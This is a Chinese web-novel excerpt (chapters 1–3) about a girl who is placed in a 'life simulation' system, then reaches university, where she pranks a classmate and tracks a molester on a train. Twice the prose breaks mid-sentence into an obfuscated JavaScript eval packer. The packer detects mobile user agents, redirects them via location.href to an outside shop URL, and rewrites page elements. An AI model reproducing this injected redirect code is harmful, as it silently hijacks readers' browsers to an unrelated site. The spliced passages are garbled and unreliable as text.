《别爱上一个渣女》 1. 激活人生模拟系统 安童“噗通”一声落在白茫茫的虚拟空间,两眼泛着清澈的茫然。 【欢迎宿主激活[人生模拟]系统】 安童:“?” 0帧起步,这怎么躲。 【本系统旨在通过让宿主模拟不同人生的经历,从而找到最适合自己的一生】 【一共有四次模拟机会】 “谁要模拟人生?” 【宿主您】 “有没有一种可能,我还活着。”安童深呼吸,戳了戳空气,“放我回去,我还能苟。” 尽管遭遇车祸在医院昏迷不醒,但她觉得自己还能挣扎挣扎。 人生处处是奇迹,安童觉得自己很有成为医学奇迹的天赋。 说不定腿一蹬、身子一抖,人就醒来了呢? 【加载固定初始属性成功】 安童:“°n°” 现在的系统已经进化到强买强卖的程度了? 【宿主:安童(初始姓名不会改变) 魅力:20 智力:20 处事:20 心情:20 体魄:20 德行:20】 【提醒:属性满值为100。属性会影响宿主的性格和人生选择,请谨慎分配。】 【宿主成年后,即可查看他人部分属性,以及好感度】 【请宿主抽取2个天赋】 安童眼前凭空出现一个按钮,上方还悬浮着七彩的代码星云。 好在她向来是个随遇而安的人,此刻已经躺平接受了现实,毕竟在哪苟不是苟呢。 安童怀着好奇的心情随便按了两下。 一阵白光闪过,眼前出现两张卡牌。 好像她现实玩中的抽卡游戏诶。 安童:“^w^” 好玩,刺激。 【恭喜宿主抽中[苦瓜大王]】 【属性:每年心情-4】 【恭喜宿主抽中[傻人有傻报]】 【属性:初始智力-5】 安童:……不好玩了。 现实中的非酋运竟然还能继承到这里吗? 暂停暂停! “等等,刚刚是手误,现在能重新抽吗!” 一定是系统暗调数据了! 【本系统确保抽取天赋的公平,一切皆是缘,宿主请勿破防】 “……” 安童也好想这么刻薄地活着。 【请宿主从以下三个词中选取一个,作为第一次模拟的身世】 【A.刻苦】 【B.礼仪】 【C.自由】 简单。 安童喜笑颜开:“这题我会,遇事不决就选C。” 九年义务教育可不是白学的! 【恭喜宿主选中[天煞孤星]】 【您是个孤儿,从小在福利院长大】 【附带属性:所有试图与您建立亲密关系的人,将自动触发“血光之灾”debuff】 安童:“?” 这是哪门子的自由。 【无父无母、无牵无挂的顶配人生。绝对的孤独,便是绝对的自由】 6。 这什么天崩开局。 真的是模拟人生系统,而不是人生惩戒系统吗? 【宿主现在要开始第一次模拟吗?】 算了,刚穿来,正是闯的年纪。 大不了第一次模拟试试水。 安童犹疑地开口:“负面buff叠这么多,我真的不会落地成盒吗?” 【请放心,我是经过正规培训的系统,模拟人生的路上有很多转机,您一定能绝地求生】 她稍微放心,正经机构,想必接下来的模拟没有想象中那么艰难。 安童西子捧心,满怀期待。 说不定这一次能迎来崭新的人生呢! * 【0岁:你出生了,但被父母抛弃,福利院收留了你,并取名为安童】 深夜,安童被冷的哆嗦,看着眼前福利院的大门敞开,一个女人走出来把她抱了进去。 [心情-4] 【1岁:你在福利院茁壮成长,只不过和你关系亲密的院长身上时不时出现一些伤口,这是怎么回事呢】 这里的氛围很好,大家都宠着安童,吃饱穿暖爽歪歪。 她很满意。 [心情+15] 【2岁:你在福利院茁壮成长,院长生了一场大病,好在最后恢复了】 福利院很多孩子已经开始蹒跚学步,安童也跟着走了几步。 安童“扑通”一声摔在了地上。 她恍惚了一下,被院长妈妈抱起来也没有大哭,只是抿着嘴唇无声垂泪。 院长心中怜爱倍生。 [魅力+10] [体魄-4] [心情-10] 【3岁:你在福利院不那么茁壮地成长,院长习惯了时不时出事的生活,已经能熟练闪避】 由于院长的心疼放纵,安童仍然没有学会走路。 安童看着福利院姐姐拿着糖果在自己眼前晃悠的手,眼睛弯弯,学会了说话。 “糖,糖,吃我。” [体魄-4] [心情+20] 【4岁:你开始上幼儿园了,院长惊讶地发现自己不怎么倒霉了,而你将去嚯嚯别人了】 刚被迫学会走路的安童跌跌撞撞,而幼儿园其他小孩子已经能到处跑了。 一个长相精致的小孩子走到她跟前笑嘻嘻:“你是乌龟吗,慢吞吞的。” 安童:“QnQ” 笑什么呢,显眼包。 [体魄-4] [魅力+20] [心情-10] 【5岁:你在幼儿园上学,由于糖果吃太多,导致长了满口蛀牙。并且因为缺乏运动,经常生病】 院长终于发现大家偷偷给安童投喂糖果,最终全部没收。 微瑕版安童:“QmQ。” 幼儿园的显眼包天天围着安童转,每回见面他身上都带着伤。 这次,显眼包头上缠着新的纱布,又塞给她一把糖果。 他耳根微红:“童童,吃糖吗?” 牙齿痛得面目扭曲的安童:“……” 你是在挑衅我吗! 最终安童让显眼包吃完了所有的糖,让他也长了满口蛀牙。 [体魄-6] [处事-7] [德行-10] [心情-10] 【6岁:你在幼儿园上学,回家后生了一场大病】 全瑕版安童:“咳,咳咳。” 她在床上翻来覆去,身体发软,牙齿又疼,被折腾得快晕过去。 院长和福利院其他小朋友守在一旁,显眼包也在。 他们担心地看着安童。 [体魄-2] [魅力+20] 【你夜里翻了个身,一不小心将头埋在枕头里。缺乏锻炼的身体让你无法在病重时翻过身,于是你窒息死了】 * 再次回到了白茫茫的系统空间。 【你享年6岁,在福利院快乐长大,是最受喜爱的孩子。但事实告诉我们,对孩子不能太过溺爱,否则就会让其因为懒惰而缺乏运动、导致身体健康状况下降。】 【恭喜宿主获得成就[速通鬼才]:跳过发育,直接重开】 安童:“……” 我要避雷你们模拟系统。 死后还鞭尸。 差评! 【请宿主菜就多练】 【进行人生模拟需要平衡好各属性数值,而上周目是由于您体魄值清零导致的死亡】 行吧,再战。 “系统,我要抽取天赋。” 这一次,安童虔诚地双手合十,祈祷了一会,才小心翼翼按下一次按钮。 卡牌出现,她忐忑地将它掀开。 【恭喜宿主抽中[慧极必伤]】 【属性:十八岁之前,每年智力值+4,但与此同时触发“伤病缠身”debuff,身体疼痛感会异于常人,越是用脑身体越差,但体魄值不会清零】 看到这个天赋的介绍,安童眼睛放光:“!” 她已经能够想象残血状态的自己是如何装逼了。 酷。 酷毙了! 再接再厉。 安童开心地继续抽卡。 【恭喜宿主抽中[邪恶摇粒绒]】 【属性:十八岁之前,每年德行-3】 德行? 什么玩意儿,不重要。 “以后这种每年都会反复加减的属性就别提醒了,怪吵的。” “快快快,选项呢。”大受鼓舞的安童迫不及待催促,“这次我手气不错。” 【A.咸鱼】 【B.学术】 【C.财富】 这还用想? 她眼睛眨也不眨地选了B。 这和学霸天赋简直百搭。 【恭喜宿主选中[书香门第]】 【您父母是大学教授,家风开明】 【附加属性:初始智力+10】 顺风局啊。 安童胸有成竹,这把稳了。 “进行第二次模拟吧。” * 【0岁:你出生了,父母是大学教授,分别教逻辑学和心理学。他们希望你像安徒生童话里的公主一样幸福快乐,便给你取名为安童】 安童躺在襁褓里,张张口,看着眼前出现的巨大奶瓶,挥舞着小手想要抱到。 [心情+10] [体魄+10] 【1岁:你在父母的呵护下茁壮成长】 安童一雪前耻,这时已经学会了走路和简单地说话,远胜同龄人。 父母骄傲地将她举起来,脸上笑意盈盈。 [魅力+10] [心情+8] [德行+10] [体魄+8] 【2岁:你在父母的呵护下茁壮成长】 安家父母欣慰地看着女儿已经能够流利说话,且能聪慧地和其他大人对话。 [魅力+8] [德行+10] [心情+10] [体魄++5] 【3岁:父母将你送到幼儿园了,你开始时不时生病】 孩子们叽叽喳喳地把格外出众的安童围着。 安童昂着头,两手叉腰。如果身后有尾巴的话,一定摇得飞快。 但她透过人群,竟然看到了上周目出现过的人。 他被挤在外面,小脸皱巴巴。 又是你,显眼包! [魅力+10] [心情-8] 【4岁:你在幼儿园发光发热,生病却愈发频繁,父母经常带你去医院】 安童身后多了个小尾巴。 显眼包? 不,现在安童叫他黏人精。 黏人精好不容易赶走其他围在安童身边的小孩,照例完成了投喂安童的日常,最后没忍住摸了摸她蓬松的棕色短卷发。 好可爱,像他家里养过的泰迪。 安童敏捷地歪歪脑袋避开他的手,眼神不善,这时有一个老师喊黏人精过去。 安童仔细听辨了一下。 好像叫的是——娇娇? 噗嗤。 [心情+10] 【5岁:在幼儿园的最后一年,你生了场大病】 触发伤病缠身debuff的安童迷迷糊糊地躺在病床上,鼻尖萦绕着消毒水的味道。 安母请了假在一旁陪同,她处理着学校剩余的工作,时不时抬头看看安童的情况。 昏迷间,安童好像听见粘人精说话:“童童,我家里有事,得离开幼儿园了。” 还没等安童高兴,又听他说。 “我们一定会再见面的!” 在线求不见面教程,急。 [心情+10] [体魄-8] 【6岁:你开始上小学了】 刚入小学,安童就凭借可爱的外表、时髦的短卷发造型结交不少朋友,聪明的大脑更是让她倍受老师喜爱。 就是身体太差了,她脸色总是有些苍白,像个瓷娃娃。 [魅力+8] 【7岁:你在小学发光发热】 安童没忍住跳了一级,然后这一学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781772|190456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年便开始间歇性生重病。 不是生病,就是在生病的路上。 虚弱的安童:“......” 接下来还是稳当一点吧。 [体魄-7] 【8岁:你在小学发光发热】 这是稀松平常的一年。 安童上课时发了会呆,无聊地看向窗外。天气晴朗,微风吹拂过她白净的脸庞,带起几缕发丝轻轻飘着。 [心情+5] [魅力+5] [体魄+10] 【9岁:你在小学发光发热】 安童在校门口等家人来接,无聊地走来走去,到处张望。 突然,见到路边停下一辆豪车,车门打开,一个身穿初中校服的少年被人狠狠推下来,并伴随着一句贬低的话:“私生子就是私生子,自己走回去吧。” 豪车很快离开。 少年面容冷峻,只是手指捏紧了书包肩带。 【看到这一幕,你选择——】 【A.面露不忍,上前送温暖】 【B.视而不见,站在原地看】 【C.厌恶排斥,一起贬低他】 安童可不打算搭理,她防骗意识还是很强的。 那句话怎么说来着。 想要走进大山只需要圣母脑,但想要走出大山得要最强大脑。 这时,安父的车刚好停在路旁,但他的表情不太对劲,安童走到一半突然福至心灵。 不会是已经发现了她最近长蛀牙的原因是因为偷买糖果吧! 于是在上车前,安童转身将书包里的一大袋糖果偷偷塞给了少年。 少年低头看着她塞进衣服口袋的东西,安童仰头对他尴尬地笑了笑。 太痛了。 她存了很久的奶糖! [心情-5] [魅力+10] 【10岁:你在小学发光发热】 安童被父母要求戒糖一年,面临他们逻辑严谨又情感充沛的夹击,她反抗无效。 [心情-10] [体魄+6] 【11岁:你考上了本市最好的初中】 学校要开展运动会了,体育委员为了凑齐人员不得不四处哀求。 【面对请求,你选择——】 【A.答应】 【B.拒绝】 安童勇敢地报名了800米长跑。 但很可惜,最终她献出了秋天第一场晕倒。 踉跄起跑、原地转圈、翻滚倒地,安童只用了这三步,纵享丝滑,秀翻全场。 从此安童在初中有了个伴随她三年的绰号:转转姐。 昏迷的安童:“……QnQ” 请善待伤员。 能倒带重来吗。 [体魄+5] [处事+10] [心情-5] 【12岁:你在初中发光发热】 结束了省数学竞赛的决赛,安童不出意料地拿了第一。 另一个参赛选手走了过来,他有着一双极为漂亮的桃花眼,此刻眼尾轻微上扬。 “同学你好,刚刚那场比赛你表现得太好了,我们能认识一下吗?” 【面对他的搭话,你选择——】 【A.加他联系方式】 【B.无情拒绝此人】 还没开口,她突然感觉头一晕,嘴里吐出一口血。 安童灵机一动,语气忧伤:“我也很欣赏同学你,但其实我得了绝症,可能活不过今年了。” 对方恍惚一下,看着安童凄惨地不断吐血,被随之而来的医护人员带走了。 [魅力+10] 【13岁:你在初中发光发热】 刚经历完一场模考。 安童去办公室找老师问题,结果发现他们在讨论有人举报作弊的事,一个女孩无助地在那边解释边哭。 【面对这一幕,你选择——】 【A.袖手旁观】 【B.添油加醋】 【C.拔刀相助】 安童上前把女孩挡在身后,有理有据地反驳咄咄逼人的老师。 女孩眼泪汪汪,看着眼前仿佛散发光芒的安童。 [魅力+10] [德行+15] [处事+10] 【14岁:你考上了本市最好的高中】 安童刚进入学校不久,就成了学校的风云人物,那头半永久的蓬松短卷发成了安童的标志性象征。 学校有很多社团组织,她好动的心蠢蠢欲动。 【面对以下社团,你选择加入——】 【A.舞蹈社】 【B.学生会】 【C.戏剧社】 安童加入了戏剧社,并时常代入角色提出自己的一些见解,有效帮助完善剧情。 [魅力+7] 【15岁:你在高中发光发热】 班上时常有同学掉东西,安童充分发挥自己特长,分析出了小偷的作案动机,最后设计成功抓到小偷。 [德行+15] [处事+10] 【16岁:你从高中毕业啦】 考完最后一门英语,安童信心满满地走了出来。 【关于未来职业,你选择——】 仔细总结了一下前十几年的人生经历,安童发现自己对侧写师这个职业特别感兴趣。 因为够酷。 [心情+10] 【17岁:你考上了国内应用心理学专业最优秀的政法大学】 开学这一天,安童作为新生代表发言,却突然发现稿子掉了。 【面对这个场景,你选择——】 【A.回去寻找】 【B.临场发挥】 全体新生将这一幕印在心底。 他们看着这个有着蓬松短卷发的少女,是如何自信地在台上就“人生属性”这一主题进行一场有趣又精彩的演讲。 [魅力+7] [德行+10] [心情+10] 【18岁:恭喜你成功活到成年】 【接下来时间流速恢复正常】 【主角,请正式开始你的人生吧】 2. 前往S市 “嗡嗡——” 外套口袋里的手机响了。 昨晚刚下了一场雨,地上积起很多水坑。安童踏出图书馆,一边掂着裙摆小心走路,一边解锁手机看是谁发的信息。 [男神:学妹,下午有空吗?] 这是顾峤,大她一届的学长,同时也是法学系系草,为人温和有礼,在学校人气超高。 最重要的是,安童很吃他的颜。 前不久他们在S市高校竞赛中有过合作,但结束后因为处在不同学校,便很少联系。 安童低着头,按着语音键准备回消息,突然被旁边跑过来的一个人撞了一下,她手臂张开挥舞试图平衡未果,最终摔坐在地上。 【体魄-1】 安童:“QnQ。” 可恶,谁啊! “对不起啊,同学,刚刚没有看到你。” 此男甚至没有回头看一眼,语气懒洋洋的。道歉听起来很是真诚,实则满是敷衍。 也没有伸手扶一下她。 安童默默垂头看了看今天穿的白裙子:“……” 新买的。 现在已经脏了。 她缓缓抬头,瞪着这道不断远去的背影,心里想出了一个主意。 安童情绪稳定地默默站起来,抓了把自己有点炸毛的短发,刻意一瘸一拐地追上这个离开的人,拦住了他。 沈竹青脚步一顿,感到有点不耐,他上课快要迟到了,于是不怎么上心地瞥过来看了一眼。 首先入眼的是蓬松的棕色短卷发。 嗯? 泰迪成精了? 他眉峰一挑,又看了一眼。 不过……笑得很可爱。 沈竹青鬼使神差地侧头多看了好几眼。 女孩有着一双无辜的狗狗眼,此时睁得圆圆的。 眼尾下垂,显得很是委屈。 难道是刚刚太凶,把她吓到了? 怎么这么娇气。 这么想着,他到底是没继续往前走,眉眼也放柔和了一些,浅棕色的眼睛显得没有那么不近人情。 “你有什么事吗?” 没事,但你很快有事了。 安童维持着假笑,她也这才看清男生的面貌。 他身形高大,穿着一身简单但价格不菲的灰色体恤,有着一头凌乱的亚麻色碎发,五官深邃立体,气质极具攻击性。 似乎是中俄混血。 这人可能是大一新生,刚刚军训完,皮肤有点趋向小麦色。 很戳安童的喜好,但她格外记仇,现在一到看他就牙痒痒。 安童刚刚第一次打开别人的属性面板快速看了几眼,发现只有名字、性别以及心情这三个属性。 心情值竟然还在缓慢上升! 安童:“。” 这位男士,请克制一下你激昂的情绪。 在他头上还有三个像素爱心,此时亮了一个。 暂不清楚这是什么。 “也许你没有意识到,”安童生气地抿着唇,直直瞪着沈竹青,乌黑的眼眸闪着细碎的光。 她指了指自己完好无损的脚,面不改色撒谎,“刚刚某人跑太急,把我的脚撞伤了。” 沈竹青顺着她手指的方向,视线转移过去。 裙摆被提起来,露出了一截小腿,精致光滑,看不见伤口,在阳光的照耀下白皙得仿佛在发光。 他眼神凝住,不由定定看了一会,才后知后觉地挪开视线。 真细。 沈竹青不由拿自己肌肉线条流畅的小臂比了一下,感觉一手就可以握住。 安童身子轻轻发着抖,身形似乎因为单脚支撑有些不稳,他动作快过思想地抓住了她。 似乎因为他手劲过大,安童轻轻嘶了一声。 乌黑的眼里含着泪,嘴唇因为咬得太紧变得有些红润。 沈竹青心跳微微加快。 他一向没什么耐心,本打算按照以往的方法用钱直接解决问题,但看着安童强忍疼痛的委屈神情,平生头一次心里产生了愧疚的情绪,嘴里硬气的话拐了个弯。 “抱歉,要不我背你去医务室吧。” 安童:这么主动? 挺好的,直接跳进陷阱,本来想继续碰瓷的,这倒省去了她更多算计。 在她犹豫间,沈竹青已经弯下腰,见安童愣在那,他微微侧头,紧绷的侧脸看起来有些凶悍:“过来,不是脚疼吗,我带你去医务室。” 好啊,还这么凶,这么理直气壮。 安童更不爽了,故意重重地攀上沈竹青后背,将头磕在他肩膀处。 结果反倒是把自己下巴磕痛了,她眼里弥漫起雾气,心里暗骂这人怎么这么硬。 全身都是肌肉。不止下巴,安童感觉自己身上可能都要被磕出淤青。 温热的呼吸打在沈竹青脖颈上,发丝时不时扫过这处皮肤,他耳根有些发红。 沈竹青从来没有背过人,这还是第一次,背上的人很轻,但柔软的触感却挥之不去。 和安童相贴的部分仿佛在发热一样。 沈竹青背着安童健步如飞,周围来往的同学偶尔会将目光投在他们身上,又很快移开视线。 鼻尖一直萦绕着淡淡的香气,熏得人仿佛大脑发晕。 沈竹青喉结滚了滚,声音压低,装作不经意问道:“同学,你是哪一届的,什么专业?” 安童正拿着手机,按住语音键准备继续回顾峤的消息,听到他问话时,手指不由得一松,就这么把语音发了出去。 安童:“!” 坏了。 她连忙把消息撤回,祈祷着顾峤没有听刚刚那条语音。 沈竹青没等到安童的回应,以为她是没听到,又问了一遍。 叽叽喳喳的,真烦。 “我是大一新生,金融学专业,”安童侧着头靠在沈竹青背上,结合刚刚对他的观察随口撒了个谎,视线就没离开过手机屏幕。 沈竹青闻言,心情变得愉快起来,他薄唇一勾:“真巧,我们是同专业,我也是今年入学的。” “我叫沈竹青,在金融7班,你呢?” 安童刚要搪塞过去,却在这时突然看到发现顾峤发来一条消息。 [男神:你又招惹了哪个野男人?] 下一秒信息又被飞速撤回。 安童:“?” 她以为自己眼花了,茫然地眨了眨眼。 这不像是顾峤会发的消息吧?那么一个温和如春风般的翩翩公子,会发这种沾酸吃醋的文字? 安童晃了晃脑袋,试图把自己脑子里的水摇出去。 是她自己思想不端正,不能这样胡乱揣测顾峤,也许他是被盗号了? 等了许久也没有回复,沈竹青也没气馁,反正在同一个专业,他随时能找到人。 不过,他漫不经心地想,这多半是撞到人后产生的愧疚感,也许还有一些好奇,可能过段时间这种奇怪的感觉就没了。 很快到了医务室,安童跌跌撞撞地从沈竹青背上爬下来。 这时,悠扬的上课铃声也开始响起,沈竹青眉头皱起,意识到自己已经来不及赶到教室了。 但他本就看着乖巧站在身旁的安童,心里却没什么怨言。 安童观察到他的神色,心里可算顺了顺气。 傻了吧,上课迟到可只是开始。 刚开始打量沈竹青的时候,安童就注意到此人手中拿着本金融学专业大一会用到的基础理论教科书。 并且由于职业原因,她对各个专业的课程表了如指掌,大致通过沈竹青前往的方向判断出他准备去上课。 而讲授这门课的老师,是整个经济学院最严厉的教授,历年来因为迟到就挂科的人比比皆是。 沈竹青本来想过来陪着安童进医务室,被她婉拒了。 最后,安童脸上带着礼貌的微笑,目送他离开。 真好骗啊。 这老师巨严,希望你不要成为下一个挂科的人。 安童:“^_^” 【德行-5】 【滴——检测到宿主当前德行值过低,请合理安排数值】 安童不以为意,德行值又没有什么用。 丢了就丢了呗。 * [男神:刚刚是谁?] 安童才发现顾峤重新发了消息过来。 这条消息就很正常了,刚刚果然是被盗号了吧。 安童乐悠悠地在路边找到椅子坐下,懒散地回着消息。 [安徒生:是刚刚遇见的一个同学。] 刚发完消息,顾峤就打了通电话过来。 “学妹,是遇见什么麻烦了吗?” 顾峤的声线低沉悦耳,安童很喜欢听他说话,不过她不打算继续讨论这件事,便三言两语糊弄了过去,“没什么,一件小事,现在已经解决了。” 天气开始转晴,地面上的水坑渐渐干涸,摔在水坑中沾染上的污渍也干涸在了安童的裙子上。 安童侧着身子,抠着白色裙摆上沾染的泥点,兴致不太高地问道:““对了,学长你找我是有什么事吗?” 她现在真的对什么都提不起兴趣,如果能来几个崭新的案子那就再好不过了。 顾峤在电话那头沉默了一会,半晌才道:“我……这里新发现一宗有趣的案子,我们可以一起商讨。” 【触发新事件:面对男神的邀约,你选择——】 【A.拒绝,留在学校】 【B.接受,前往S市】 【提示:每个选择会引向不同分支结局,鉴于宿主高危职业,请谨慎选择】 竟然还有提示,果然成年后难度升级? 安童:耳朵悄悄竖起。 她的声音变得轻快起来:“好的!还是老地方见吗?” 得到肯定答复后,安童迫不及待挂掉电话。 案件=有事情可以搞=满足她过剩的恶趣味。 计划通√ * 教室里氛围肃穆安静,只有教授在讲台上授课的声音。 沈竹青就是这时候进来的,他刚从后门踏入,就被教授叫住,劈头盖脸一顿理论教训,并且扬言要让他挂科。 沈竹青:“……” 不至于吧,就迟到这么一会。 等他回到座位时,一旁的室友悄悄询问:“沈哥,你怎么回事啊,迟到这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781773|190456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久,这堂课的教授可严了。” 沈竹青没回话,他拿出一支笔在手里转了转,那股香味仿佛还在他鼻尖萦绕。 回味了一下之后,他回过神来,抬起那双没有什么情绪的浅棕色眼睛看向室友,显得很无情冷酷,声音带着散漫的笑意:“我们系里有没有留着棕色短卷发的女生?” 回忆了一下安童的样貌,他补充:“要长得可爱,眼睛好看。” 室友:“?” 怎么着,这位是终于想起了自己优越的外貌,准备广纳后宫? 范围这么大,符合形容的至少能找到十几个。 不过他憋下了吐槽,把学校的论坛调给沈竹青看:“沈哥,你可以在论坛找找。” 室友随后安心听了会课,突然感到身边一冷。转头一看,刚刚还心情不错的沈竹青,现在正神色不愉地看着手机,本就凶悍的长相更是煞人,身边源源不断释放着低气压。 室友:“……” 怎么了这是。 安童的外貌特征还是挺明显的,一头蓬松短卷发更是引人注目,但沈竹青翻遍了学院论坛也没有找到。 他拧着眉,离开了学院专属的论坛,开始在公共论坛搜索。 最后找出一个热门帖子,叠楼有几千条。 [#扒一扒那个卷毛姐又破了什么奇怪的案子# 众所周知,来自应用心理学专业的某安姓学姐,乃本专业神人,经常硬核破案,并伴随被动生病体弱技能,最近她有什么新案子吗?] [1楼:似乎没有吧,不过她破的上一个案子令我记忆犹新。] [2楼:回楼上,这个我知道!当时我在现场,安学姐现场指认管院的某导员偷女生寝室的衣物,条理清晰且有证据地陈述完后,就吐血晕倒了……] [3楼:啊,吐血?!] [4楼:别惊讶,你安姐的常规化操作,每次破案身子都会出点毛病。] [5楼:安学姐时常因为专业能力过硬而被人忽视她的美貌(附上美照一张)。] [6楼:我老婆(附上美照一张)。] 后面的回复基本都是照片和一些毫无营养的发言。 翻到最后一楼,是十几分钟前发的。 [2809楼:刚刚遇到了安姐,今天穿的白裙子!不过似乎有急事,走得可快了,难道是有新案子?(附上背影照一张)] 沈竹青渐渐捏紧手机。 呵。 骗子。 沈竹青很难形容自己是什么心情,当他再次回忆和安童的经历时,觉得自己像个傻子一样。 头一次被人这样戏耍,还是这么一个看起来无害可怜的女生。 被骗的怒气和玩味,让沈竹青忍不住想现在冲出教室找到安童。 但找到后呢? 他一时有点拿不准。 换作以往,如果他被这么戏耍,势必疯狗一样咬着那个人不放,直到报复成功。 但又不想那样对安童,毕竟她看起来怪娇气的,吓到她怎么办。 但转念一想,万一对方是装出来的呢。 沈竹青:“……” 一想到安童,就有些牙痒痒。 算了。 不过是个女生,顶多就是更可爱一点、白一点,眼睛更好看一点,没什么大不了,转头他就忘了。 沈竹青一边这样想,一边挨个保存图片,看着那些说“我老婆”的人,更是心生郁气,神色阴沉,准备运作自己的关系黑掉这帖子。 最后,沈竹青忽地笑了,他视线牢牢锁住手机照片上的安童,就像大型食肉动物锁住了自己的猎物,从眼睛、到嘴唇,一点点勾勒出她的样貌。 手指轻轻敲击着桌面,奏起不连贯的旋律。 * “旅客们,你们好!由A市前往S市的87556次列车已经开始检票……” 安童赶在最后一分钟上了高铁。 她拖着行李箱,气喘吁吁地在高铁门口歇了会,感觉这是自己这段时间以来运动量最大的一次。 可该死的系统竟然不给她涨体魄值! 差评差评! 等安童根据信息来到座位时,发现左边已经坐了人。 这男人长得还挺帅,皮肤冷白,眼尾狭长——是那种一看就很矜贵的帅。 发觉身旁有人坐下后,他掀开眼睫,浅灰色眼眸淡淡地向安童看来,唇角礼貌性地微微上扬。 虽然笑着,但却显得很是薄凉,视线落在她身上不带一点温度。 安童默默在心里给这男人打了个叉。 一看就不好相处。 敬而远之。 安童坐上位置没多久右边也坐了个人。 她不感兴趣地瞅了一眼,顿住,又偷偷看了一眼。 安童一个激灵,突然精神起来。 她装作自己在玩手机,一会看看左边,一会看看右边。 等等,双胞胎? 蠢蠢欲动有点想搞事,但安童忍住了。 万一被二人识破,两面夹击怎么办? 不合适不合适。 在安童没有在意的角落,右边的人头上三颗爱心,竟然一瞬间全亮了。 3. 抓马现场 列车飞速行驶,窗外的风景不断变化,阳光透过车窗斑驳地洒进来,她似乎笼罩在金色雾气中,朦朦胧胧,唯美又动人。 ——随机迷晕身旁的一个男大。 江薄内心挣扎:要怎么才能礼貌又不失有趣地加到她联系方式呢,急。 直接问不行,会显得太唐突。 先搭上话,再借机加联系方式? 江薄设想了一下这个情景,感觉自己要抓耳挠腮浑身刺挠。 他脸都憋红了,也没有鼓起勇气开口。甚至因为紧张开始身体发热,额头冒出细汗,垂在额前柔软的黑发有些湿润。 最终他掏出了手机,鬼鬼祟祟地发消息。 [薄:哥,你能帮我要一下她的微信吗?] [薄:就是坐我们中间的这女生。] 江萦冷淡地抬头,就看到那不争气的弟弟含羞带怯地几乎把头埋进手机, 江萦:“……” 出国回来后怎么还是这么怂,以为他胆子能大点,结果连搭个话都不敢。 [萦:自己想办法。] 但对方显然有后招。 [薄:爸妈又为你找了个心理医生,他们还不知道我们要去S市。] 好吧,原来胆小是对外的,这小子还学会了威胁人。 江萦漫不经心地收回手机。 不知为何,自从刚刚停靠了一站后,列车员便频繁地走动,手里拿着个小话筒不断重复一句话:“公共场所,男女有别,注意边界,列车有监控。” 【特殊事件:在你这节车厢内有一个猥亵犯,此人内心扭曲,准备变本加厉行凶害人。你选择——】 【A.利用专业学习知识将其找出,并保障乘客的安全】 【B.对此视而不见,优先保证自己安全】 快要睡着的安童猛然抬头:AAAA! 这还用选,她一秒不带犹豫,但凡迟疑都是对她人格的质疑! 【为了确保宿主模拟人生顺利,在此新增回档功能,可自选存档点,一日限用三次,请合理使用】 安童:“0.o” hello,经过正规培训的系统,你怎么还搞延期发货呢。 “你好,可以加一下联系方式吗?” 安童侧头,看见那个看起来很贵气的男人对她露出一个礼节性的微笑,笑意不达眼底。 学过微表情的安童表示:别笑了,好假。 这男人看起来家境很好,修养也不错,但在安童看来全是破绽,其精心打理的清贵外表下,像是看不见底的深渊,任何情绪丢下去都会不见踪影。 难道是情感缺失症? “好啊。”安童眨眨眼睛,嘴角抿出一个浅浅的笑,拿出手机加了他的联系方式,毕竟她对这类病状还是很感兴趣的,留着当个典型案例吧。 话说这双胞胎长相虽一样,性格差异可真大。 右边这帅哥整整一个小时在那不动如山,像棵自闭的含羞草。 江薄看到他成功加到安童后,心里松了口气,没忍住又悄悄地瞅了眼安童,在发现她察觉到视线看过来之后,立刻面红耳赤地端正姿态,目不斜视。 他赶紧催促江萦把安童的联系方式发来。 江萦觉得自己这弟弟可真没骨气,他随意冷淡地打量了一下安童,很普通一姑娘,不明白有什么吸引人的地方。 而被两人关注的安童,则是开始环视车厢内的人员。 要怎么才能快速排除,锁定目标呢? 这时安童想起白天才用过的功能,可以看别人的基础信息。 抱着万一能瞎猫碰上死耗子、有功能就用一下的好心态,她准备先借助这个识别一下。 右边走廊对面,是二人座,靠外的是一名打扮精致漂亮的美女,头发是棕色波浪卷,垂在肩头。靠里的是一名中年大叔,看起来就很油腻,时不时用猥琐的视线打量那美女。 安童脑内雷达警告滴滴响起,这人一看就有问题,就从你开始了! 刚要识别信息,结果旁边这含羞草见她往这边看了太久,整个人受惊一般猛地坐直,转头看向安童时,眼眶竟然湿润了。 江薄内心羞涩:她怎么一直在看我,不会是…… 被他挡了一下,安童不小心点开了美女的属性。 她只是粗粗看了一眼。 张力,男,20岁…… 嗯,很正常。 ……嗯? 等等,性别男? 美女……不,兄弟,你看起来有很大问题啊! * 张力从小就心理变态,喜欢女装,但他性取向又正常,所以经常借此占别人便宜,遭人白眼。 但他受够了!起因来自他的同班同学,这次又拿了奖学金。 凭什么他人生就这么顺利!还能经常被那么多人表白! 我命由我不由天!张力不服,他要让世人知道人心中的成见是一座大山,他要和那人同归于尽! 张力兀自怨天怨地。 安童暗中观察着这个人,眼睛圆溜溜地转了转,留意到他的包,怀疑里面可能有凶器。 她动了动,准备起身去车厢连接处按下紧急呼叫按钮,让乘警来解决。 “你好,可以让一下吗,我想要出去。” 安童没注意到,身旁的江薄耳朵红得快滴血了,听她这样说,像只受惊的猫一样弹射起来,让出了位置,声音低得快听不到:“好,好的。” 